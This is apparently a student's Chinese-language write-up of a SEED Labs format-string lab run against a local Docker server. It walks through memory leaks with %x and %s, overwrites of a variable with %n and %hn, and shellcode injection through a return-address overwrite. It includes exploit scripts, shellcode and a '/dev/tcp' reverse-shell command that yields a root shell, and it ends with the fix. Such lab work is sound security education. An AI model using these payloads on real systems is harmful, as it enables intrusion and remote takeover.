Format String

环境设置

关闭内核随机化以便于确定地址

```
sudo sysctl -w kernel.randomize_va_space=0
```

完成编译和代码转移

```
make
make install
```

建立docker环境

```
dcbuild
dcup
```

Task 1:Crashing the Program

```
echo hello | nc 10.9.0.5 9090
```

结果如下

```
[04/12/26]seed@VM:~/.../lab1$ dcup
Starting server-10.9.0.5 ... done
Starting server-10.9.0.6 ... done
Attaching to server-10.9.0.6, server-10.9.0.5
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffd88530
server-10.9.0.5 | The secret message's address:  0x080af014
server-10.9.0.5 | The target variable's address: 0x080e3048
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 6 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffd88458
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | hello
server-10.9.0.5 | The target variable's value (after):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

待攻击代码如下

```
unsigned int target = 0x11223344;
char* secret = "A secret message\n";
void myprintf(char* msg) {
    // This line has a format-string vulnerability
    printf(msg);
}
int main(int argc, char** argv) {
    char buf[1500];
    int length = fread(buf, sizeof(char), 1500, stdin);
    printf("Input size: %d\n", length);
    myprintf(buf);
    return 1;
}
```

printf() 中只有格式化字符串，而没有对应的参数，因此运行时栈上格式化字符串之后的的内容误当作参数来执行指令：这种情况下，可以使用 %x 等格式不断移动读取参数的指针。由于 %x 只占两个字节，而指针移动四个字节，因此可以将指针移动到直到指定位置；再通过格式化字符串中的 %s 和 %n 进行任意读写操作，达到攻击目的。
给出 build_string.py 作为生成 badfile 的手段。

```
#!/usr/bin/python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))

# This line shows how to store a 4-byte integer at offset 0
number  = 0xbfffeeee
content[0:4]  =  (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:8]  =  ("abcd").encode('latin-1')

# This line shows how to construct a string s with
#   12 of "%.8x", concatenated with a "%n"
s = "%.8x"*12 + "%n"

# The line shows how to store the string s at offset 8
fmt  = (s).encode('latin-1')
content[8:8+len(fmt)] = fmt

# Write the content to badfile
with open('badfile', 'wb') as f:
  f.write(content)
```

number处写入攻击的目标地址再写入占位符实现位置对齐，s = "%.8x"*12 + "%n" 实现格式化符号，生成 badfile 可以用于输入攻击。

显然因为服务器只会接收 1500 bytes，超过这个大小就会崩溃，建立这样的badfile，并根据输出修改目标地址为0x080e3048。

```
s = "%n"*750

# The line shows how to store the string s at offset 8
fmt  = (s).encode('latin-1')
content[8: 8 + len(fmt)] = fmt
```

这样写入满之后，崩溃就不会出现returned properly了。

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd660
server-10.9.0.5 | The secret message's address:  0x080af014
server-10.9.0.5 | The target variable's address: 0x080e3048
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd588
server-10.9.0.5 | The target variable's value (before): 0x11223344
```

Task 2:Printing Out the Server Program's Memory

A：堆栈数据。目标是打印出堆栈中的数据。需要多少个 %x 格式说明符才能让服务器程序打印出输入的前四个字节。

为了方便观测，把输入的前四个字节设置成比较容易看出来的。

```
number = 0x12345678
```

然后因为不知道是多少个，大概先设置 100 个看看。标记一个.好做分隔查看。

```
s = "%.8x."*100
```

可以看出在第64个地方。

```
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | xV4abcd11223344.080e31e0.08049931.64657669.30353120.79622030.ffffd4b8.080
e330a.080e2ff4.ffffd558.08049af2.ffffd590.00000000.00000064.08049abb.080e3320.000005dc.0000
05dc.ffffd590.ffffd590.080e8330.00000000.00000000.00000000.00000000.00000000.00000000.00000
000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.000000
00.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.2f6e0100.080e2ff
4.080e2ff4.ffffdb78.08049a77.ffffd590.000005dc.000005dc.080e3320.00000000.00000000.00000000
.ffffdcb4.00000000.00000000.00000000.000005dc.12345678.64636261.78382e25.382e252e.2e252e78.
252e7838.2e78382e.78382e25.382e252e.2e252e78.252e7838.2e78382e.78382e25.382e252e.2e252e78.2
52e7838.2e78382e.78382e25.382e252e.2e252e78.252e7838.2e78382e.78382e25.382e252e.2e252e78.25
2e7838.2e78382e.78382e25.382e252e.2e252e78.252e7838.2e78382e.78382e25.382e252e.2e252e78.252
e7838.2e78382e.The target variable's value (after):  0x11223344
```

因此设置成64就在最后了。

```
server-10.9.0.5 | xV4abcd11223344.080e31e0.08049931.64657669.30353120.79622030.ffffd4b8.080
e330a.080e2ff4.ffffd558.08049af2.ffffd590.00000000.00000064.08049abb.080e3320.000005dc.0000
05dc.ffffd590.ffffd590.080e8330.00000000.00000000.00000000.00000000.00000000.00000000.00000
000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.000000
00.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.7acfb400.080e2ff
4.080e2ff4.ffffdb78.08049a77.ffffd590.000005dc.000005dc.080e3320.00000000.00000000.00000000
.ffffdcb4.00000000.00000000.00000000.000005dc.12345678.The target variable's value (after):
  0x11223344
```

B：堆数据。在堆区域中存储着一条秘密信息（一个字符串），可以从服务器打印输出中获取该字符串的地址。任务是打印出这条秘密信息。要实现这一目标，需要将秘密信息的地址（以二进制形式）放入格式字符串中。

从上面看出第64个位置执行的指令可以和我们输入的地址有关。同时从输出来看秘密信息的地址在0x080af014，因此我们输入地址为这个，然后在64位置执行“%s”指令让他输出。

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd590
server-10.9.0.5 | The secret message's address:  0x080af014
server-10.9.0.5 | The target variable's address: 0x080e3048
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd4b8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | 
server-10.9.0.5 |abcd11223344080e31e00804993164657669303531207962203 0ffffd4b8080e330a080e2f
f4ffffd55808049af2ffffd590000000000000006408049abb080e3320000005dc000005dcffffd590ffffd5900
80e833000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000790f5900080e2ff4080e2ff4ffffdb7808049a77ffffd590000005dc000005dc08
0e33200000000000000000000000000ffffdcb400000000000000000000000005dcA secret message
server-10.9.0.5 | The target variable's value (after):  0x11223344
```

这样就得到了 A secret message。

Task 3: Modifying the Server Program’s Memory

本次任务的目标是修改服务器程序中定义的目标变量的值。目标变量的原始值为 0x11223344。假设该变量具有重要值，会影响程序的控制流程。

A：将值更改为其他值。我们需要将目标变量的内容改为其他内容。如果能够将其更改为不同的值（无论该值是什么），则视为任务完成。目标变量的地址可以从服务器打印输出中找到。

可以从输出看到target地址为0x080e3048，从task2可以在64位置使用“%n”指令修改值。

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd590
server-10.9.0.5 | The secret message's address:  0x080af014
server-10.9.0.5 | The target variable's address: 0x080e3048
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd4b8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | Habcd11223344080e31e00804993164657669303531207962203 0ffffd4b8080e330a080e
2ff4ffffd55808049af2ffffd590000000000000006408049abb080e3320000005dc000005dcffffd590ffffd59
0080e833000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000c89ee00080e2ff4080e2ff4ffffdb7808049a77ffffd590000005dc000005dc
080e33200000000000000000000000ffffdcb400000000000000000000000005dcThe target variable
's value (after):  0x00000200
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

%n会修改对应参数地址四个字节的值，修改为在它之前规格字符串打印结果的字符串长度。在之前，我们先打印了4位宽的target变量的地址，然后打印了4位宽的abcd，再然后是"%.8x"*63也就是8位宽的二进制值打印了63次。因此最后会得到0x00000200。

B：将值更改为 0x5000。

因为我们实际上不能改变第64的位置，但是又要用“%n”，必须改变此前的字符串长度，要再多加19968个字符。因此把%.8x变成%.19976x，用19976的宽度来读8个字符，这样可以增大“%n”的值。

```
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000005dcThe target variable's value (after):  0x00005000
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

最后因为后面读的都是空所以打印了一大堆0。

C：将值更改为 0xAABBCCDD。此子任务与前一个类似，不同之处在于目标值现在是一个较大的数字。采用更快的方法，基本思路是使用 %hn 或 %hhn，这样就可以修改一个两字节（或一个字节）的内存空间，而不是四个字节。

从提示来看用之前的方法会花费过长的时间，因此考虑使用"%hn"，计算结果如下：

```
s = "%.8x"*62 + "%.43199x" + "%hn" + "%.8738x" + "%hn"
```

理论上来说，因为增加了一个四位宽的地址，所以现在的输出字符宽度为0x200+0x4=0x204，0xAABB−0x204=43191，将一个%.8x变为%.43199x，将前2个字节设置为AABB，0xCCDD−0xAABB=8738，同时因为%hn不输出，所以再加上%.8738x，将后2个字节位设置为CCDD。得到

```
s = "%.8x"*62 + "%.43191x" + "%hn" +"%.8738x"  +"%hn"
```

但出于某种原因，有4的偏移，因此修正成上面的答案。

```
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000064636261The target variable's value (after):  0xaab3ccd5
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

结果就正确了。

```
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000064636261The target variable's value (after):  0xaabbccdd
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

Task 4: Inject Malicious Code into the Server Program

准备攻击核心代码注入。将一段恶意代码以二进制格式注入到服务器的内存中，然后使用格式字符串漏洞修改函数的返回地址字段，这样当函数返回时，跳转到注入的代码。此任务使用的技术与前一个任务相似：它们都修改内存中的4字节数。前一个任务修改目标变量，而这个任务修改函数的返回地址字段。

Question 1: What are the memory addresses at the locations marked by 2 and 3?

3 是buf的地址，从服务器返回数据中，可以直接得到地址：0xffffd0f0

2 是myprintf()的返回地址，服务器返回数据中，myprintf()的frame pointer是0xffffd018，所以return address是：0xffffd018+4=0xffffd01c

Question 2: How many %x format specifiers do we need to move the format string argument pointer to 3? Remember, the argument pointer starts from the location above 1.

我们需要 64 个%x才能移动格式化字符串的参数指针到 3 ， 也就是buf的地址。

使用提供的expliot.py来实现漏洞攻击。实现注入 shellcode 并劫持程序控制流。

```
#!/usr/bin/python3
import sys

# 32-bit Generic Shellcode
shellcode_32 = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
```

```
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    # The * in this line serves as the position marker         *
    "/bin/ls -l; echo '===== Success! ======'                  *"
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"   # Placeholder for argv[1] --> "-c"
    "CCCC"   # Placeholder for argv[2] --> the command string
    "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')


# 64-bit Generic Shellcode
shellcode_64 = (
    "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
    "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
    "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
    "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    # The * in this line serves as the position marker         *
    "/bin/ls -l; echo '===== Success! ======'                  *"
    "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
    "CCCCCCCC"   # Placeholder for argv[2] --> the command string
    "DDDDDDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))

# Choose the shellcode version based on your target
shellcode = shellcode_32

# Put the shellcode somewhere in the payload
start = 0               # Change this number
content[start:start + len(shellcode)] = shellcode

#################################################################
#
#    Construct the format string here
#
#################################################################

# Save the format string to file
with open('badfile', 'wb') as f:
  f.write(content)
```

Shellcode 的作用：执行 `execve("/bin/bash", ["/bin/bash", "-c", "命令"], NULL)`，最终在目标服务器上执行 `/bin/ls -l` 并打印 `===== Success! ======`，`\*` 是占位符，在 shellcode 执行时会被动态替换为 `\x00`，防止在注入过程中被截断。

加入format string注入如下：

```
# Put the shellcode somewhere in the payload
start = 1500-len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode
print(start)
################################################################
# This line shows how to store a 4-byte integer at offset 0
number  = 0xffffd01e
content[0:4]  =  (number).to_bytes(4,byteorder='little')
number2 = 0xffffd01c
content[8:12]  =  (number2).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:8]  =  ("abcd").encode('latin-1')

# This line shows how to construct a string s with
#   12 of "%.8x", concatenated with a "%n"
s = "%.8x"*62 + "%.65027x" + "%hn" +"%.54853x"  +"%hn"

# The line shows how to store the string s at offset 8
fmt  = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt
################################################################
```

将 shellcode 放在 buf 末尾，避免被格式化字符串覆盖。myprintf()的返回地址：0xffffd0e8+0x4=0xffffd01c.将shellcode放在buf最后，shellcode的起始地址为：0xffffd0f0+1364=0xffffd0f0+0x554=0xffffd644，将返回地址修改为shellcode的起始地址。0xffff−0x204=65019，将%.8x变为%.65027x，0x1D984−0xffff=54853，添加%.54853x，使用`build_string.py`文件来检测计算值，得到The target variable's value (after): 0xffffd644

```
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006
4636261The target variable's value (after):  0xffffd644
```

这样注入就构建完毕，输入server看看：

```
server-10.9.0.5 | total 1572
server-10.9.0.5 | -rw------- 1 root root 327680 Apr 13 11:20 core
server-10.9.0.5 | -rwxrwxr-x 1 root root 707592 Apr 12 14:54 format
server-10.9.0.5 | -rwxrwxr-x 1 root root 835416 Apr 12 15:55 server
server-10.9.0.5 | ===== Success! ======
```

可以看到执行了注入指令。

Getting a Reverse Shell

相比于执行指令，更希望反向得到shell的控制权，因此要修改shellcode：

```
# 32-bit Generic Shellcode
shellcode_32 = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
```

```
    "/bin/bash*"
    "-c*"
    # The * in this line serves as the position marker         *
    "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1           *"
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"   # Placeholder for argv[1] --> "-c"
    "CCCC"   # Placeholder for argv[2] --> the command string
    "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

要先监听再发送攻击否则不能连接到，最后可以看出我们获得了对应的shell：

```
[04/13/26]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 57278
root@074c2641b1cf:/fmt#
```

Task 6:Fixing the Problem

警告的意思是：将一个非常量作为format string，且没有格式化参数。请修复服务器程序中的漏洞，并重新编译。因为漏洞来自于没有格式化参数导致可以任意输入数据导致攻击发生，因此加入"%s"，将printf(msg) 改成 printf("%s", msg)。编译器警告消失，尝试更改32位程序的target值，更改失败。